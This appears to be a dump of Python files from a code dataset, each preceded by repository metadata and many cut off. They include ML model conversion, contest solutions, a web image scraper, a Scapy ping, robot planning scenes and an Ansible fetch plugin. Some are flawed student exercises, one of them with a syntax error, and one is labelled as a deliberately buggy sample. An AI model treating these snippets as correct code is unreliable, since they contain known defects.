] | permissive | csdms/wmt-metadata | 9b922415faa397e3d5511f258e1a4fda846b78b7 | 39207acc376f1cd21b2ae1d5581a1e2c317a6441 | refs/heads/master | 2020-04-07T00:39:56.268862 | 2019-02-26T21:24:20 | 2019-02-26T21:24:20 | 51,040,972 | 0 | 0 | MIT | 2018-10-31T19:36:54 | 2016-02-04T00:23:47 | Python | UTF-8 | Python | false | false | 769 | py | """A hook for modifying parameter values read from the WMT client."""
import os
import shutil
from wmt.utils.hook import find_simulation_input_file, yaml_dump
from topoflow_utils.hook import assign_parameters
file_list = []
def execute(env):
"""Perform pre-stage tasks for running a component.
Parameters
... | [
"[email protected]"
] | |
a296c689355de9ff44465c89010087d206693bda | e15d63ccde04e7458bff5af1bdad63a5c699b489 | /example/Model_Conversion/mx2torch/retinaface_r50/res50_transfer_weight.py | 17e4e530621f5d1100de117f9e520503564c3aba | [
"WTFPL"
] | permissive | ddddwee1/TorchSUL | 775b6a2b1e4ab7aac25a3f0411de83affc257af5 | 6c7cd41b14fc8b746983e8b981d1ba4d08370ca2 | refs/heads/master | 2023-08-21T15:21:24.131718 | 2023-08-18T09:37:56 | 2023-08-18T09:37:56 | 227,628,298 | 13 | 1 | null | null | null | null | UTF-8 | Python | false | false | 7,870 | py | import numpy as np
from TorchSUL import Model as M
import torch
import torch.nn as nn
import torch.nn.functional as F
class Unit(M.Model):
def initialize(self, chn, stride=1, shortcut=False):
self.bn0 = M.BatchNorm()
self.act = M.Activation(M.PARAM_RELU)
self.c1 = M.ConvLayer(1, chn, activation=M.PARAM_REL... | [
"[email protected]"
] | |
46bd95d09f6bc8aecede6db2b326fc90533f3af9 | 45467e07e77131f631d0865046dcc4d18f483601 | /src/Hackerearth/round_2/A.py | a766bae20c7b6478ffb22d212ff53cd5256fddb7 | [] | no_license | bvsbrk/Algos | 98374e094bd3811579276d25a82bbf2c0f046d96 | cbb18bce92054d57c0e825069ef7f2120a9cc622 | refs/heads/master | 2021-09-25T10:01:59.323857 | 2018-10-20T16:07:07 | 2018-10-20T16:07:07 | 98,708,839 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 805 | py | if __name__ == '__main__':
for _ in range(int(input().strip())):
n = int(input().strip())
x = n
arr = [int(i) for i in input().strip().split()]
arr = arr[::-1]
i = 0
while arr[i] == 0 and i < n:
i += 1
x -= 1
if i == n - 1:
... | [
"[email protected]"
] | |
6ce151591e20779df71ce25110bc3831ce51c59a | b792f600ed4e50f34e65e4f334cf7a32d319cc0e | /2017/day11.py | cf2d1b7780f769b1e96bacb18b46b9ecb825122d | [] | no_license | daniel70/AoC | d577f490559d4a0f0d24567bd796117e1aac94ec | ef704a4f6e90168cdc2a91e894583a96e9a6c371 | refs/heads/master | 2022-12-28T03:19:08.341913 | 2022-12-16T01:52:39 | 2022-12-18T01:30:50 | 224,876,724 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 711 | py | directions = {
'n': (0, 1),
'ne': (1, 0.5),
'se': (1, -0.5),
's': (0, -1),
'sw': (-1, -0.5),
'nw': (-1, 0.5),
}
def distance(instructions: list[str]) -> tuple[int, int]:
origin = [0, 0]
furthest = 0
for direction in instructions:
dx, dy = directions[direction]
origi... | [
"[email protected]"
] | |
5432391a83b8c960663d3cef2f2aa55994ff307a | c4bfd8ba4c4c0f21bd6a54a9131f0985a5a4fa56 | /crescent/functions/get_att.py | 704a83a8c9e664be800a85836e5778252c98e7a2 | [
"Apache-2.0"
] | permissive | mpolatcan/crescent | 405936ec001002e88a8f62d73b0dc193bcd83010 | 2fd0b1b9b21613b5876a51fe8b5f9e3afbec1b67 | refs/heads/master | 2022-09-05T04:19:43.745557 | 2020-05-25T00:09:11 | 2020-05-25T00:09:11 | 244,903,370 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 528 | py | from .fn import Fn as AnyFn, FnArrayValue
from typing import Union
class GetAtt(FnArrayValue):
def __init__(self):
super(GetAtt, self).__init__(
fn_name=GetAtt.__name__,
field_order=[self.Resource.__name__, self.Attribute.__name__]
)
def Resource(self, resource_id: Uni... | [
"[email protected]"
] | |
6e3877952188cded94c414eb37f6d19ebeb95534 | 5462142b5e72cb39bea5b802dd46f55357c4ea84 | /test_pic/vmgirls/dl_vmgirls_pic.py | 499ac3f8cef5a386fe97d91b59fd55f04f358de3 | [] | no_license | qqmadeinchina/myhomeocde | a0996ba195020da9af32613d6d2822b049e515a0 | 291a30fac236feb75b47610c4d554392d7b30139 | refs/heads/master | 2023-03-23T05:28:53.076041 | 2020-08-24T08:39:00 | 2020-08-24T08:39:00 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,874 | py | # -*- coding: utf-8 -*-
# @time :2020/8/17 9:56
# @Author:老萝卜
# @file:dl_vmgirls_pic
# @Software:%{PRODUICT_NAME}
'''
爬取https://www.vmgirls.com/所有图片
'''
import time
import requests
from lxml import etree
import os
import json
basepath_picsave="e:\\temp\\pythontest\\vmgirls\\"
headers={
"user-agent": "Mozi... | [
"[email protected]"
] | |
8114f87ea4d123ce369f1ad9b8352b6eaf865dbf | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03208/s325634445.py | 323b17ee4ad8a29bda1ed175bcbbe1278f12231d | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 240 | py | def resolve():
n, k = map(int, input().split())
H_sort = list(sorted([int(input()) for _ in range(n)],reverse=True))
ans = 10**9
for i in range(n-k+1):
ans = min(ans, H_sort[i]-H_sort[i+k-1])
print(ans)
resolve() | [
"[email protected]"
] | |
e2bd9a59636cfd0c2f76a1a4087cc2c5202b1935 | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/216/usersdata/274/113966/submittedfiles/av2_p3_civil.py | d9f4bcefea50acc8b1dd920d630cdd854f8a3254 | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 458 | py | # -*- coding: utf-8 -*-
import numpy as np
L=int(input("Quantidade de Linhas: "))
C=L
a=np.zeros((L,C))
x=int(input("Linhas: "))
y=int(input("Colunas: "))
for i in range(0,a.shape[0],1):
for j in range(0,a.shape[1],1):
a[i,j]=float(input("Valor da Linha: "))
soma1L=0
for i in range(x,C-y,1):
soma1L=s... | [
"[email protected]"
] | |
fe03327e97fff1983eaee4dd0427062b9d600377 | 05cda3ab89d001aef2ec19f2975fad9397c8dd0b | /experiments/sawyer/towel_classifier/conf.py | bec399b3897f8ecb885707dcf2e8c6335cc1ab37 | [
"MIT"
] | permissive | dhl8282/visual_foresight | ddcc940ad542222d433ca269e37e4d5f747732ea | 5e6205a85119c1dec4a39ba7e67d7c89e726a47c | refs/heads/master | 2022-09-05T18:16:07.590072 | 2020-05-26T08:41:52 | 2020-05-26T08:41:52 | 266,988,765 | 0 | 0 | MIT | 2020-05-26T08:36:22 | 2020-05-26T08:36:22 | null | UTF-8 | Python | false | false | 988 | py | from visual_mpc.video_prediction.setup_predictor import setup_predictor
from visual_mpc.video_prediction.vpred_model_interface import VPred_Model_Interface
from video_prediction.models.savp_model import SAVPVideoPredictionModel
import robonet
modeldir = '/home/sudeep/Documents/video_prediction/pretrained_models/mixed... | [
"[email protected]"
] | |
78278e990a57092f2ec56732405baf87e7f9f84d | 1fe8d4133981e53e88abf633046060b56fae883e | /venv/lib/python3.8/site-packages/tensorflow/python/layers/normalization.py | 2ff79b4f2e9ffe0a6b49bfc40e106c0aa66daffd | [] | no_license | Akira331/flask-cifar10 | 6c49db8485038731ce67d23f0972b9574746c7a7 | 283e7a2867c77d4b6aba7aea9013bf241d35d76c | refs/heads/master | 2023-06-14T16:35:06.384755 | 2021-07-05T14:09:15 | 2021-07-05T14:09:15 | 382,864,970 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 130 | py | version https://git-lfs.github.com/spec/v1
oid sha256:6ba7d44e910c3440fadfac158cda4aa0136a4447c84f005b7144e6cd9b29444d
size 17101
| [
"[email protected]"
] | |
85ae43871dcc3db57959c181396ab5c178961f2e | 330285bea42e66b1975d62e2f4dd742d4c3ab360 | /franka_moveit/scripts/create_demo_planning_scene.py | 9916a164cc43bf4866b219c232f5d029ec8d94c9 | [
"Apache-2.0"
] | permissive | justagist/franka_ros_interface | 946182e0430d21a9c119470729d7ec5e96caa404 | f1f3649a4b030a9191e0577d980680ec95afa6ab | refs/heads/master | 2021-12-24T22:22:14.599033 | 2021-12-22T13:42:30 | 2021-12-22T13:42:30 | 199,485,892 | 130 | 51 | Apache-2.0 | 2021-05-03T17:11:32 | 2019-07-29T16:07:08 | Python | UTF-8 | Python | false | false | 3,226 | py | #!/usr/bin/env python
# /***************************************************************************
#
# @package: franka_moveit
# @metapackage: franka_ros_interface
# @author: Saif Sidhik <[email protected]>
#
# **************************************************************************/
# /*********************... | [
"[email protected]"
] | |
c9905c4f0826bb701e09958514299e45c73b5843 | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/173/usersdata/265/86697/submittedfiles/moedas.py | a742b7f67e4b1843dcb579ac41fef535ec50768c | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 300 | py | # -*- coding: utf-8 -*-
a = int(input('digite o valor de a: '))
b = int(input('digite o valor de b: '))
c = int(input('digite o valor de c: '))
for qa in range (0,c,1):
if (((c-(qa*a))%)b==0):
print(qa)
qb=(c-(qa*a))//b
print(qb)
break
else:
print('N') | [
"[email protected]"
] | |
ffbb923905cedb23748806a6e5a210f52377acc7 | c42672aeac984ab3f57d840710e145f4e918ba01 | /nasws/cnn/search_space/monodepth/analysis.py | 872b130085e3b8170a5f7d4627a9b3fd1c6b5248 | [
"MIT"
] | permissive | kcyu2014/nas-landmarkreg | 00212b6015d1fef3e7198bfa596fa69a898167c2 | a00c3619bf4042e446e1919087f0b09fe9fa3a65 | refs/heads/main | 2023-07-21T19:52:19.392719 | 2021-08-24T09:37:24 | 2021-08-24T09:37:24 | 350,368,390 | 10 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,434 | py | import os
import glob
from collections import defaultdict
from monodepth.utils.reporter import tensorboard_check_tags, tensorboard_load_summary, count_parameters_in_MB_search
from monodepth.utils.checkpointer import load_args
from monodepth.models import MidasNet, MidasNetSearch
from nni.nas.pytorch.fixed import FixedA... | [
"[email protected]"
] | |
00868bf5c2508b4f24084132b710bd214998c056 | 524acbbc16eac0ef28da58ff9f79d02d7cadcf1b | /backend/shop_time/categories/views.py | be8c7d554b3cbf84338a20c5cf0a4fe64763644b | [] | no_license | ZandTree/art-shop | 47eb6ed6f328157c852cef6e324e4be5ab3592f8 | faa506fb62f845168b9874a720c0b62808245058 | refs/heads/master | 2023-06-01T06:40:28.755068 | 2021-06-18T23:53:57 | 2021-06-18T23:53:57 | 376,624,201 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,802 | py | from rest_framework.views import APIView
from .models import Category
from .serializer import CategorySerializer
from rest_framework.permissions import AllowAny
from rest_framework import status
from rest_framework.response import Response
class CategoryList(APIView):
""" get all categories with tree structure"... | [
"[email protected]"
] | |
d116cf499ae6b5ea0e40f3a62ee8e3bcd94e6a5e | 824f19d20cdfa26c607db1ff3cdc91f69509e590 | /random/strings/345. Reverse Vowels of a String.py | 88e11095e0c062114eea3783f47a5500cedfc1f9 | [] | no_license | almamuncsit/LeetCode | 01d7e32300eebf92ab54c983de6e183242b3c985 | 17aa340649574c37067ec170ceea8d9326be2d6a | refs/heads/master | 2021-07-07T09:48:18.069020 | 2021-03-28T11:26:47 | 2021-03-28T11:26:47 | 230,956,634 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 689 | py | class Solution:
def reverseVowels(self, s: str) -> str:
s_list = list(s)
vowels = set({'a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U'})
left = 0
right = len(s_list)-1
while right > left:
if s_list[left] in vowels and s_list[right] in vowels:
s_li... | [
"[email protected]"
] | |
68dccaff016d11cce153e1b9db7affab3c07bd9b | 01ea95d7301b9ad3b84f11c8cbcfe02d00017250 | /bin/until/echarts/Line.py | 74f27f3640b6945c26b0de1fc9a04cfdff387304 | [] | no_license | windyStreet/MQSTATIC | 82962ae7a43d015dac61cb6ffce8d8853e6774df | b5a3d3862bd824b4a08b1c29436e417a9590dcab | refs/heads/master | 2020-12-02T21:13:37.952192 | 2017-07-20T10:20:14 | 2017-07-20T10:20:14 | 96,275,208 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,518 | py | #!/usr/bin/env python
# !-*- coding:utf-8 -*-
import datetime
from bin.until import Logger
from bin.until import Time
from bin.until import Mongo
from bin.until import DBCODE
from bin.until import Filter
from bin.logic import BO
from bin.until import Data
L = Logger.getInstance()
class Line(object):
# search_fil... | [
"[email protected]"
] | |
34f47be9ef55d3d72a7abc700bc1d17d771fd10e | f82e67dd5f496d9e6d42b4fad4fb92b6bfb7bf3e | /scripts/client/gui/scaleform/daapi/view/meta/serverstatsmeta.py | 4a28fbbfafb863429e1181c69015f9b805026cc8 | [] | no_license | webiumsk/WOT0.10.0 | 4e4413ed4e7b00e22fb85d25fdae9400cbb4e76b | a84f536c73f86d9e8fab559e97f88f99f2ad7e95 | refs/heads/master | 2021-01-09T21:55:00.662437 | 2015-10-23T20:46:45 | 2015-10-23T20:46:45 | 44,835,654 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,339 | py | # Embedded file name: scripts/client/gui/Scaleform/daapi/view/meta/ServerStatsMeta.py
from gui.Scaleform.framework.entities.BaseDAAPIComponent import BaseDAAPIComponent
class ServerStatsMeta(BaseDAAPIComponent):
def getServers(self):
self._printOverrideError('getServers')
def relogin(self, id):
... | [
"[email protected]"
] | |
02a29652ff4002ff213de2e6753b4912bb85ea9e | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_392/ch4_2019_06_05_14_33_33_171155.py | cdcdf2b3d67996003e841afaca8af0a2d1c0ff25 | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 158 | py | def classifica_idade(x):
if x <= 11:
return'crianca'
elif x >= 12 and x <= 17:
return 'adolescente'
else:
return 'adulto'
| [
"[email protected]"
] | |
bfc18eaa66e8178ea1f6ceae0421145d57bb023a | 8821970a489ea190ab7dd6a2da8f672681138543 | /piston/web/__init__.py | acfc64d31c318a7da92d7c776160f900b4897930 | [
"LicenseRef-scancode-warranty-disclaimer",
"MIT"
] | permissive | grey580/piston | ab293d449728c9fbcc442adc0463135628548deb | 5a3472517e2de14e75eb688cf9335b2c98c3e6f4 | refs/heads/master | 2021-01-09T05:35:52.587268 | 2017-02-02T09:37:50 | 2017-02-02T09:37:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,583 | py | import re
from ..utils import strfdelta, strfage
from ..storage import configStorage as configStore
from .app import app, socketio
from ..steem import SteemConnector
from . import views, assets
import logging
log = logging.getLogger(__name__)
steem = SteemConnector().getSteem()
__ALL__ = [
"app",
"assets",
... | [
"[email protected]"
] | |
34d6d85b02c3b8d0e8734802762acb51523c3fa1 | b56c584ba04de13c7a05f6633893b318eb3fb19d | /课后作业/第五天作业/guoqijun/Chapter 12/scapy_ping_one_new.py | a64b040c34aa4916e5a8141ec9405dfbff24807a | [] | no_license | I318928/Python-Homework | 42133f1291cc3da90293f994ae1a09dce618bdad | 139b450f4bf2e4831688df80c12f43edcc00e468 | refs/heads/master | 2020-06-01T06:53:50.733061 | 2019-04-17T12:12:16 | 2019-04-17T12:12:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 429 | py | #!/usr/bin/env python3
# -*- coding=utf-8 -*-
from scapy.all import *
def qytang_ping(ip):
ping_pkt = IP(dst=ip) / ICMP()
ping_result = sr1(ping_pkt, timeout=1, verbose=False)
if ping_result:
return ip, 1
else:
return ip, 0
if __name__ == '__main__':
result = qytang_ping('192.16... | [
"[email protected]"
] | |
14b05dbce16975b542d6409149a24a4079334f70 | 3b4f985759e44dc169134ae7dcee8e92747c4b01 | /tests/tests_app/components/multi_node/test_trainer.py | 249d7868652bb9800f69f27af8365d32b7063452 | [
"Apache-2.0"
] | permissive | SkafteNicki/pytorch-lightning | 4b09863bf222241ca7128d13df94ff60b71e50aa | 7df627b43746a85aa87671bec3e6dada0d98b556 | refs/heads/master | 2023-07-15T21:20:02.468216 | 2023-05-04T08:12:33 | 2023-05-04T08:12:33 | 248,216,299 | 3 | 1 | Apache-2.0 | 2023-07-10T02:40:24 | 2020-03-18T11:44:20 | Python | UTF-8 | Python | false | false | 3,538 | py | import os
from copy import deepcopy
from functools import partial
from unittest import mock
import pytest
from lightning_utilities.core.imports import module_available
from lightning_utilities.test.warning import no_warning_call
import pytorch_lightning as pl
from lightning.app.components.multi_node.trainer import _L... | [
"[email protected]"
] | |
7c0f8ef2e5e76dd512f4593f86eb29756a26e302 | be6e1acc03149aee1ffbdaa315cf8b7d175fffe9 | /event_log.py | 6d347539f3034a82bf2d2298b62c74976e512faf | [
"MIT"
] | permissive | rebcabin/cartpoleplusplus | 763c22d41fc6f13b01a1519da3b51de91cfd03f7 | f986f495755369f571dcbb9a79d21680b916c0f4 | refs/heads/master | 2020-04-05T08:27:28.420983 | 2018-11-24T01:17:47 | 2018-11-24T01:17:47 | 156,716,591 | 0 | 0 | MIT | 2018-11-08T14:10:29 | 2018-11-08T14:10:28 | null | UTF-8 | Python | false | false | 6,521 | py | #!/usr/bin/env python
import event_pb2
import gzip
import matplotlib.pyplot as plt
import numpy as np
import StringIO
import struct
def rgb_to_png(rgb):
"""convert RGB data from render to png"""
sio = StringIO.StringIO()
plt.imsave(sio, rgb)
return sio.getvalue()
def png_to_rgb(png_bytes):
"""convert png (f... | [
"[email protected]"
] | |
9c0f49814adb26d4b6bde24af40fb90845ccac80 | d34da4a69ebef62d4b17b8b56f0eca72f0c021e4 | /traffic_sign/subset_coco.py | 4e117ea2e1cf5dff2b36cba086a24552a7c93498 | [] | no_license | gy20073/aws | 91c193e18a15ab4d20acf9d58078bda791b39c38 | 1d73ce215026b1baa91a359628c26edeb59a22ce | refs/heads/master | 2020-03-19T03:55:24.406320 | 2019-10-12T05:35:30 | 2019-10-12T05:35:30 | 135,775,172 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,296 | py | import os
# for each label file, check whether stop sign in it.
# if do, then create new label file with only stop sign, in label dir, and add an entry of this image in the index file
subset="train2014"
label_path = "/scratch/yang/aws_data/coco/labels_bak/" + subset
out_path = "/scratch/yang/aws_data/coco/labels/" + ... | [
"[email protected]"
] | |
44b7e6b025a9917ce35e63a322c922264b4455b4 | 5922398212b6e113f416a54d37c2765d7d119bb0 | /python/O(1) Check Power of 2.py | d664954d5d2b872362cab07d682b5469322e34d5 | [] | no_license | CrazyCoder4Carrot/lintcode | e777f73e1fdfe3b8abc9dbfc07d26602bf614151 | 33dcd7f0e2d9bee58840a3370837cb2db82de1eb | refs/heads/master | 2021-01-09T20:38:59.813198 | 2017-01-16T22:34:26 | 2017-01-16T22:34:26 | 60,287,619 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 218 | py | class Solution:
"""
@param n: An integer
@return: True or false
"""
def checkPowerOf2(self, n):
# write your code here
if n == 0:
return False
return n&(n-1) == 0 | [
"[email protected]"
] | |
1b90c28e59e5d4a5998f4d6c2027b2eacdd7467f | 1d9356626550004745bbc14de9a3308753afcea5 | /sample/tests/while/led.py | 2d6f9c7e92fa414d08993efca62d0115951efe0e | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | hoangt/veriloggen | e916290aa15c63f03ec0ad8e9c8bdf183787fbe9 | 8e7bd1ff664a6d683c3b7b31084ff4d961c4c841 | refs/heads/master | 2021-01-14T12:01:03.686270 | 2015-09-18T06:49:20 | 2015-09-18T06:49:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 806 | py | import sys
import os
from veriloggen import *
def mkTest():
m = Module('test')
clk = m.Reg('CLK')
rst = m.Reg('RST')
count = m.Reg('count', width=32)
m.Initial(
Systask('dumpfile', 'uut.vcd'),
Systask('dumpvars', 0, clk, rst, count),
)
m.Initial(
clk(0),
... | [
"[email protected]"
] | |
3233cf987d1529f760bef548e7a959952c37b30f | 98e1155518b292341e60908d12233a2b130cb043 | /helpers.py | cabba2a794108cc9b151778f12f403862f7ef99b | [] | no_license | bkj/pbtnet | 5443a580e1bca91e4c293ae2be8bdefb85a44ce0 | e8c7b11be92e5ff9e4facccf908e87611b7f72bb | refs/heads/master | 2021-05-02T13:49:50.894351 | 2018-02-08T03:48:25 | 2018-02-08T03:48:25 | 120,707,510 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 644 | py | #!/usr/bin/env python
"""
helpers.py
"""
from __future__ import print_function, division
import numpy as np
import torch
from torch import nn
from torch.autograd import Variable
def to_numpy(x):
if isinstance(x, Variable):
return to_numpy(x.data)
return x.cpu().numpy() if x.is_cuda else x.... | [
"[email protected]"
] | |
ab4b58c9f57d81b86dab68de0f9e7f748fa7cce3 | 7680dbfce22b31835107403514f1489a8afcf3df | /Exercícios_parte_2/exercício__090.py | ee3ab125b849a111a10a421c0ee9807bb6c49dac | [] | no_license | EstephanoBartenski/Aprendendo_Python | c0022d545af00c14e6778f6a80f666de31a7659e | 69b4c2e07511a0bd91ac19df59aa9dafdf28fda3 | refs/heads/master | 2022-11-27T17:14:00.949163 | 2020-08-03T22:11:19 | 2020-08-03T22:11:19 | 284,564,300 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,083 | py | # dicionários
print('--' * 17)
print(' CADASTRO DE NOTAS')
print('--' * 17)
aluno = dict()
aluno['nome'] = str(input('Nome: ')).strip().capitalize()
aluno['med'] = float(input('Média de {}: '.format(aluno['nome'])))
print()
print(f' - O nome é {aluno["nome"]}.\n'
f' - A média é {aluno["med"]:.2f}.... | [
"[email protected]"
] | |
4345f43ceebfae6bf9b4514241a243202d936d70 | 6d71de4e88dcb7d04f6d3a18736d393e12f8d087 | /scripts/packages/mylistbox.py | 27d62cd97b87fe9edbbcf35263ca9292f8eac3c9 | [
"MIT"
] | permissive | wyolum/Alex | 71075c30691229e8eb28afa06a6ab44c450b14d4 | 03f1d8ae0107454d18964e33777ffc4c0c1a1951 | refs/heads/main | 2023-07-02T16:11:57.088323 | 2021-08-05T17:59:04 | 2021-08-05T17:59:04 | 338,686,528 | 10 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,551 | py | #https://tk-tutorial.readthedocs.io/en/latest/listbox/listbox.html
import tkinter as tk
def listbox(parent, items, item_clicked, item_selected, n_row=40):
def myclick(event=None):
idx = lb.curselection()
if idx:
out = lb.get(idx)
search.delete(0, tk.END)
search.... | [
"[email protected]"
] | |
e2fdf25b7497cc5c1fcb0bf489b3eb9332e5bb62 | 5faa3f139f30c0d290e327e04e3fd96d61e2aabb | /mininet-wifi/SWITCHON-2015/allWirelessNetworksAroundUs.py | 4e0c7e784e0db877764da170ac32d83db2baa977 | [] | no_license | hongyunnchen/reproducible-research | c6dfc3cd3c186b27ab4cf25949470b48d769325a | ed3a7a01b84ebc9bea96c5b02e0c97705cc2f7c6 | refs/heads/master | 2021-05-07T08:24:09.586976 | 2017-10-31T13:08:05 | 2017-10-31T13:08:05 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,525 | py | #!/usr/bin/python
"""This example is based on this video: https://www.youtube.com/watch?v=_C4H2gBdyQY"""
from mininet.net import Mininet
from mininet.node import Controller, OVSKernelSwitch, OVSKernelAP
from mininet.link import TCLink
from mininet.cli import CLI
from mininet.log import setLogLevel
import os
def topo... | [
"[email protected]"
] | |
fc10948d86708b6f47a13b0e303228135646e05a | e76f6fdb1a2ea89d4f38ac1ed28e50a7625e21b7 | /qytdjg_learning/views/Form.py | f0c4967d53b2ea07c09c61e006a240cff2f1d5c2 | [] | no_license | collinsctk/qytdjg_learning | 4d61a2a236f0bc4bf9be8d999352a8e3c1b87408 | 72a6d6153f6ca6bf9fccad76612450fdaf83d9fd | refs/heads/master | 2020-03-24T19:45:31.145059 | 2018-07-31T06:51:14 | 2018-07-31T06:51:14 | 142,943,470 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,628 | py | #!/usr/bin/env python3
# -*- coding=utf-8 -*-
# 本脚由亁颐堂现任明教教主编写,用于乾颐盾Python课程!
# 教主QQ:605658506
# 亁颐堂官网www.qytang.com
# 教主技术进化论拓展你的技术新边疆
# https://ke.qq.com/course/271956?tuin=24199d8a
from django.http import HttpResponse
from django.shortcuts import render_to_response
from django.shortcuts import render
# 表单
# 获取客户端请... | [
"[email protected]"
] | |
775c3d99a00861bd1974087e2fe75b1216b73fe6 | 421b0ae45f495110daec64ed98c31af525585c2c | /File_Handling/first_file.py | 53c72b560b6263d87c4f8e3ce01570d86ad5fb4f | [] | no_license | Pradeepsuthar/pythonCode | a2c87fb64c79edd11be54c2015f9413ddce246c4 | 14e2b397f69b3fbebde5b3af98898c4ff750c28c | refs/heads/master | 2021-02-18T05:07:40.402466 | 2020-03-05T13:14:15 | 2020-03-05T13:14:15 | 245,163,673 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 528 | py | # python provied function and methos to preform such as creating, reading, opening, closing etc.
# open file in python
# Syntax
# fileobject = open(file_name[,access_mode][,buffring])
# NOTE : Default access_mode is read
# Create/Open file in write mode
# fw = open("emp.txt","w")
# write data into file
# ... | [
"[email protected]"
] | |
aea70b7bae784283e27efb8fb4f2bc809628cb32 | 9bf62c04522b6b28e4d4bedd25654d0ea675f72a | /wechat_django/admin/views/menu.py | 38ce85ed5fd22d128e4d83ff133787061ea61e5f | [
"MIT"
] | permissive | x2x4com/wechat-django | 9a46cd34c4a00f515e2e315d51d6475e509ad9f0 | 926e5d2ed2895d30a253504ff252a7a52fcfe81f | refs/heads/master | 2020-05-20T02:31:08.735986 | 2019-05-01T16:03:31 | 2019-05-01T16:03:31 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,832 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django import forms
from django.contrib import messages
from django.urls import reverse
from django.utils.http import urlencode
from django.utils.safestring import mark_safe
from django.utils.translation import ugettext_lazy as _
import object_tool
f... | [
"[email protected]"
] | |
d6e214d0a8d4d12652eee9f7bca72966d79550f4 | f9684c301ce50a6bbb5a75280cd4c70277119f27 | /yelpdetails/yelpdetails/pipelines.py | 55531cab7d87353200bd42058134f3e8878cb6be | [] | no_license | vaibhav89000/yelpdetails | 76149f2feed5cbad98b3e67d3a786223289fc1f4 | b7ce6f739a7f76fbe665e27eb097475775c0c489 | refs/heads/master | 2022-11-25T05:09:56.803075 | 2020-07-06T12:45:54 | 2020-07-06T12:45:54 | 269,969,213 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,379 | py | # -*- coding: utf-8 -*-
# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html
import sqlite3
class YelpdetailsPipeline(object):
def __init__(self):
self.create_connection()
self.cre... | [
"[email protected]"
] | |
a927ca2edd90ae07adf56559bbfe6b40379ae5cb | f07a42f652f46106dee4749277d41c302e2b7406 | /Data Set/bug-fixing-2/f57f33a8e73d1ac10b3eb6b4333e635c1608bc27-<run>-bug.py | 8fd0e05b5b4b4ec324c3a6a1b7cf88dccfc0d38a | [] | no_license | wsgan001/PyFPattern | e0fe06341cc5d51b3ad0fe29b84098d140ed54d1 | cc347e32745f99c0cd95e79a18ddacc4574d7faa | refs/heads/main | 2023-08-25T23:48:26.112133 | 2021-10-23T14:11:22 | 2021-10-23T14:11:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,670 | py |
def run(self, tmp=None, task_vars=None):
' handler for fetch operations '
if (task_vars is None):
task_vars = dict()
result = super(ActionModule, self).run(tmp, task_vars)
if self._play_context.check_mode:
result['skipped'] = True
result['msg'] = 'check mode not (yet) supported... | [
"[email protected]"
] | |
c3538eb3371b01aba72df474025a27cb07554102 | bb160d2fc2c6182c4ca56c8e4635a14215f8c70f | /test_module/collector_test.py | d89697bcb6a78e55d06285541f3c33103c1160c4 | [] | no_license | bitacademy-howl/Music_Recommendation_mod | 9464ed941ff722123457ba18cf35bccee3640b9b | 94a430df1c65dc4b930f46ade4576bff95b6c27e | refs/heads/master | 2020-03-27T15:18:21.725593 | 2018-11-05T08:55:45 | 2018-11-05T08:55:45 | 146,709,303 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,630 | py | import datetime
import time
from bs4 import BeautifulSoup
import modules.collection.crawler as cw
